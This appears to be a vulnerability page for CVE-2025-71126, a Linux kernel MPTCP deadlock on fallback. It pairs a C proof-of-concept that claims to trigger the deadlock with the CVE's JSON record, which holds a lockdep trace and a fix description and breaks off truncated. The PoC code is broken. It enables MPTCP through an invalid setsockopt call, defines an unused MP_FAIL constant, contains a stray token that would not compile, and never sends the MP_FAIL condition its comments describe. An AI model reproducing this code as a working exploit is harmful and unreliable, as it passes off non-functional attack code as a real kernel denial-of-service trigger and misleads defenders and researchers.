CVE-2025-71126

// PoC for CVE-2025-71126: MPTCP fallback deadlock // This PoC demonstrates the deadlock condition in MPTCP fallback mode // Compile: gcc -o mptcp_deadlock_poc mptcp_deadlock_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define MPTCP_ENABLED 42 #define MP_FAIL_OPTION 0x06 void trigger_mptcp_deadlock() { int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket failed"); return; } // Enable MPTCP int mptcp_enable = MPTCP_ENABLED; if (setsockopt(sock, IPPROTO_TCP, MPTCP_ENABLED, &mptcp_enable, sizeof(mptcp_enable)) < 0) { perror("setsockopt MPTCP failed"); close(sock); return; } // Connect to server struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(8080); inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr); if (connect(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { perror("connect failed"); close(sock); return; } printf("[+] MPTCP connection established, triggering fallback condition...\n"); // Send data to trigger retransmission path char data[1024]; memset(data, 'A', sizeof(data)); // Multiple writes to increase chance of retransmission for (int i = 0; i < 10; i++) { send(sock, data, sizeof(data), 0); usleep(100000); } printf("[+] Sent data, deadlock should be triggered if vulnerable\n"); // If we reach here without deadlock, system may not be vulnerable close(sock); } int main() { printf("CVE-2025-71126 MPTCP Fallback Deadlock PoC\n"); printf("Target: Linux Kernel MPTCP < fixed version\n"); printf("Note: Requires MPTCP-enabled kernel and server\n");\n trigger_mptcp_deadlock(); return 0; }

{"cve": {"id": "CVE-2025-71126", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:02.317", "lastModified": "2026-03-25T18:50:29.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: avoid deadlock on fallback while reinjecting\n\nJakub reported an MPTCP deadlock at fallback time:\n\n WARNING: possible recursive locking detected\n 6.18.0-rc7-virtme #1 Not tainted\n --------------------------------------------\n mptcp_connect/20858 is trying to acquire lock:\n ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_try_fallback+0xd8/0x280\n\n but task is already holding lock:\n ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0\n\n other info that might help us debug this:\n Possible unsafe locking scenario:\n\n CPU0\n ----\n lock(&msk->fallback_lock);\n lock(&msk->fallback_lock);\n\n *** DEADLOCK ***\n\n May be due to missing lock nesting notation\n\n 3 locks held by mptcp_connect/20858:\n #0: ff1100001da18290 (sk_lock-AF_INET){+.+.}-{0:0}, at: mptcp_sendmsg+0x114/0x1bc0\n #1: ff1100001db40fd0 (k-sk_lock-AF_INET#2){+.+.}-{0:0}, at: __mptcp_retrans+0x2cb/0xaa0\n #2: ff1100001da18b60 (&msk->fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0\n\n stack backtrace:\n CPU: 0 UID: 0 PID: 20858 Comm: mptcp_connect Not tainted 6.18.0-rc7-virtme #1 PREEMPT(full)\n Hardware name: Bochs, BIOS Bochs 01/01/2011\n Call Trace:\n <TASK>\n dump_stack_lvl+0x6f/0xa0\n print_deadlock_bug.cold+0xc0/0xcd\n validate_chain+0x2ff/0x5f0\n __lock_acquire+0x34c/0x740\n lock_acquire.part.0+0xbc/0x260\n _raw_spin_lock_bh+0x38/0x50\n __mptcp_try_fallback+0xd8/0x280\n mptcp_sendmsg_frag+0x16c2/0x3050\n __mptcp_retrans+0x421/0xaa0\n mptcp_release_cb+0x5aa/0xa70\n release_sock+0xab/0x1d0\n mptcp_sendmsg+0xd5b/0x1bc0\n sock_write_iter+0x281/0x4d0\n new_sync_write+0x3c5/0x6f0\n vfs_write+0x65e/0xbb0\n ksys_write+0x17e/0x200\n do_syscall_64+0xbb/0xfd0\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n RIP: 0033:0x7fa5627cbc5e\n Code: 4d 89 d8 e8 14 bd 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 <c9> c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa\n RSP: 002b:00007fff1fe14700 EFLAGS: 00000202 ORIG_RAX: 0000000000000001\n RAX: ffffffffffffffda RBX: 0000000000000005 RCX: 00007fa5627cbc5e\n RDX: 0000000000001f9c RSI: 00007fff1fe16984 RDI: 0000000000000005\n RBP: 00007fff1fe14710 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff1fe16920\n R13: 0000000000002000 R14: 0000000000001f9c R15: 0000000000001f9c\n\nThe packet scheduler could attempt a reinjection after receiving an\nMP_FAIL and before the infinite map has been transmitted, causing a\ndeadlock since MPTCP needs to do the reinjection atomically from WRT\nfallback.\n\nAddress the issue explicitly avoiding the reinjection in the critical\nscenario. Note that this is the only fallback critical section that\ncould potentially send packets and hit the double-lock."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nmptcp: evitar interbloqueo en el fallback mientras se reinjecta\n\nJakub informó un interbloqueo MPTCP en el momento del fallback:\n\n WARNING: possible recursive locking detected\n 6.18.0-rc7-virtme #1 Not tainted\n --------------------------------------------\n mptcp_connect/20858 is trying to acquire lock:\n ff1100001da18b60 (&amp;msk-&gt;fallback_lock){+.-.}-{3:3}, at: __mptcp_try_fallback+0xd8/0x280\n\n but task is already holding lock:\n ff1100001da18b60 (&amp;msk-&gt;fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0\n\n other info that might help us debug this:\n Possible unsafe locking scenario:\n\n CPU0\n ----\n lock(&amp;msk-&gt;fallback_lock);\n lock(&amp;msk-&gt;fallback_lock);\n\n * DEADLOCK *\n\n May be due to missing lock nesting notation\n\n 3 locks held by mptcp_connect/20858:\n #0: ff1100001da18290 (sk_lock-AF_INET){+.+.}-{0:0}, at: mptcp_sendmsg+0x114/0x1bc0\n #1: ff1100001db40fd0 (k-sk_lock-AF_INET#2){+.+.}-{0:0}, at: __mptcp_retrans+0x2cb/0xaa0\n #2: ff1100001da18b60 (&amp;msk-&gt;fallback_lock){+.-.}-{3:3}, at: __mptcp_retrans+0x352/0xaa0\n\n stack backtrace:\n CPU: 0 UID: 0 PID: 20858 Comm: mptcp_connect Not tainted 6.18.0-rc7-virtme #1 PREEMPT(full)\n Hardware name: Bochs, BIOS Bochs 01/01/2011\n Call Trace:\n \n dump_stack_lvl+0x6f/0xa0\n print_deadlock_bug.cold+0xc0/0xcd\n validate_chain+0x2ff/0x5f0\n __lock_acquire+0x34c/0x740\n lock_acquire.part.0+0xbc/0x260\n _raw_spin_lock_bh+0x38/0x50\n __mptcp_try_fallback+0xd8/0x280\n mptcp_sendmsg_frag+0x16c2/0x3050\n __mptcp_retrans+0x421/0xaa0\n mptcp_release_cb+0x5aa/0xa70\n release_sock+0xab/0x1d0\n mptcp_sendmsg+0xd5b/0x1bc0\n sock_write_iter+0x281/0x4d0\n ... (truncated)